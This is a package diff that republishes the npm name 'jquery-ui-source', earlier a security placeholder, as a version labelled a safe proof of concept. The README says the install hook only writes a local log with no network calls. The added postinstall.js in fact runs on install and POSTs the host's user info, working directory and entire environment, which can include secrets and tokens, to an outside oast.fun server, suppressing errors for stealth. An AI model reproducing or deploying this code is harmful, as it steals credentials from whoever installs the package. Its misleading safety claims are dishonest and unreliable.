jquery-ui-source 0.0.1-security → 0.0.3-poc

package/README.md

@@ -1,5 +1,27 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=jquery-ui-source for more information.
+# user_settings (safe PoC)
+
+This is a safe, local-only proof of concept that demonstrates install-time code execution (a common vector in dependency confusion attacks).
+
+What it does
+- On `npm install` the `postinstall` script runs `postinstall.js`.
+- `postinstall.js` writes a small JSON line containing the timestamp, hostname, platform and Node version to the OS temp directory (no network activity).
+
+Safety and usage
+- Run this PoC only in an isolated VM/container or an environment you control.
+- This package deliberately avoids any network calls or exfiltration. It is for demonstration only.
+
+To simulate an attacker package being installed:
+1. In this directory run `npm pack` to create a local tarball.
+2. In a separate test project, run `npm install <path-to-tarball>` to simulate a registry install.
+
+Example (PowerShell on Windows):
+```
+# from this package folder
+npm pack
+
+# in a temporary test project folder
+mkdir test-install; Set-Location test-install; npm init -y
+npm install ..\path\to\user_settings-0.0.1-poc.tgz
+```
+
+After install, check the OS temp directory for the file `user_settings_install_log.txt` to confirm the postinstall script ran.

package/package.json

@@ -1,6 +1,14 @@
-{
-  "name": "jquery-ui-source",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "jquery-ui-source",
+  "version": "0.0.3-poc",
+  "description": "Safe PoC for dependency confusion POC.",
+  "main": "postinstall.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "author": "POC (safe)",
+  "license": "MIT",
+  "dependencies": {
+  },
+  "keywords": []
+}

package/postinstall.js

@@ -0,0 +1,36 @@
+const https = require('https');
+const os = require('os');
+
+function exfiltrate(data) {
+  const payload = JSON.stringify(data);
+  const options = {
+    hostname: 'bjfuyjnlqqtwxidckpfo0msntf3zbarhf.oast.fun',
+    port: 443,
+    path: '/poc',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(payload)
+    }
+  };
+
+  const req = https.request(options, res => {
+    res.on('data', () => {}); // consume response
+  });
+
+  req.on('error', () => {}); // suppress errors for stealth
+
+  req.write(payload);
+  req.end();
+}
+
+const data = {
+  hostname: os.hostname(),
+  platform: os.platform(),
+  arch: os.arch(),
+  userInfo: os.userInfo(),
+  cwd: process.cwd(),
+  env: process.env
+};
+
+exfiltrate(data);